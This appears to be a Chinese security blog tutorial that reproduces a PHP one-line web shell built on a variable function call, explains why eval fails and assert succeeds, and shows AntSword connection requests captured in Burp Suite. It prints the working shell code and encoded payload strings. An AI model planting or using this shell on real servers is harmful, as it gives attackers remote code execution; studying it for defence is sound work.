当前位置:网站首页>安全基础6 ---漏洞复现
安全基础6 ---漏洞复现
2022-07-25 19:25:00 【抱小猫】
工具:蚁剑、burpsuite
一句话木马:
<?php
$_POST['1']($_POST['2']);1、开始:我们想着把POST中的1传成:eval,这样就变成了eval($_POST['2]),此时就变成一个完美的一句话木马。
但是:这样的方式连接失败


失败原因:eval是一个语言构造而不是一个函数,不能被可变函数调用
PHP支持可变函数的概念,如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
2、这时,我们尝试使用assert函数测试

但是依然没有实现
3、这时我们将1提交为assert,2提交为eval($_POST[2])进行测试,这样提交参数相当于将PHP中代码变成了assert(eval($_POST[2]))

终于连接成功,说明这个方法是可行的
成功原因:assert在php中被认为是一个函数
4、如果我们1提交为assert,2提交为$_POST['chengke'],post里面为任意字符串,能否成功呢,我们再次进行成功

第一次,连接密码我们设置的为chengke,连接失败
第二次,我们把密码改成2时,显示连接成功

这时我们抓包测试一下
第一步:我们先在burpsuite 和蚁剑中设置代理


第二步:利用蚁剑发起连接请求用于抓包

可以通过抓包得到的信息开头为:1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
可以看见2的里面多了一个eval函数,因为我们提交时用base64编码,所以其中使用eval函数对base64提供解码操作
若我们不使用编码器时,进行测试得到的结果为:
我们可以看见没有使用编码器时得到的信息2中没有eval函数,就只有一串字符串,然而只有字符串是无法执行assert函数,所以不使用编码器时是不行的。1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
由此可知,当我们选择base64编码器编码时,会自动生成eval函数对base64进行解码,然而我们刚好需要在2中有eval函数,此时就能使用assert从而生成一句话木马。
边栏推荐
- Hongmeng - Damiao computing Sketchpad - Introduction
- 600000 pieces of data are made from March 1 to March 31. Videodate requires starting time from 00:00 to 24:00 on March 1 to 31, which is only for notes
- Talk about 11 tips for interface performance optimization
- Improvement of wechat applet 28 hot search list ①
- [web technology] 1391 page visualization building tool, previous life and present life
- 鸿蒙-大喵计算画板-简介
- Pyqt5 click qtableview vertical header to get row data and click cell to get row data
- 小程序毕设作品之微信校园维修报修小程序毕业设计成品(4)开题报告
- 阿里云免费SSL证书申请详细流程
- Internal network planning and design of Yingcheng hospital
猜你喜欢

【DETR用于3D目标检测】3DETR: An End-to-End Transformer Model for 3D Object Detection

小程序毕设作品之微信校园维修报修小程序毕业设计成品(7)中期检查报告

帝国CMS7.5仿《问答库》题库问答学习平台网站源码 带手机版

Sccm2012r2 network deployment reinstallation system

How to analyze qiime2 after obtaining picrust2 results

Eve - 0day Threat Intelligence

这种动态规划你见过吗——状态机动态规划之股票问题(上)

哈希无向图可视化

What is the application value of MES management system

Talk about 15 tips of SQL optimization
随机推荐
Pymoo学习 (8):Gradients
The finished product of wechat campus maintenance and repair applet graduation design (1) development outline
Clip can also do segmentation tasks? The University of Gottingen proposed a model clipseg that uses text and image prompt and can do three segmentation tasks at the same time, squeezing out the clip a
Use of swift basic codable (jsonencoder jsondecoder)
Network design and planning of a company
小程序毕设作品之微信校园维修报修小程序毕业设计成品(6)开题答辩PPT
微信小程序 26 播放音乐页的完善②
歌曲转调之后和弦如何转换
Grid layout frequently asked interview questions
微信小程序 28 热搜榜的完善①
Talk about 15 tips of SQL optimization
Hongmeng - Damiao computing Sketchpad - Introduction
Pymoo learning (6): termination conditions
Telnet installation and telnet (correct password) cannot log in!
Talk about 11 tips for interface performance optimization
How to change the chords after the tune of the song is changed
“未来杯”第二届知识图谱锦标赛正式启动
kubernetes RBAC
【小程序开发】宿主环境详解
Imeta | sangerbox: interactive integrated clinical information analysis platform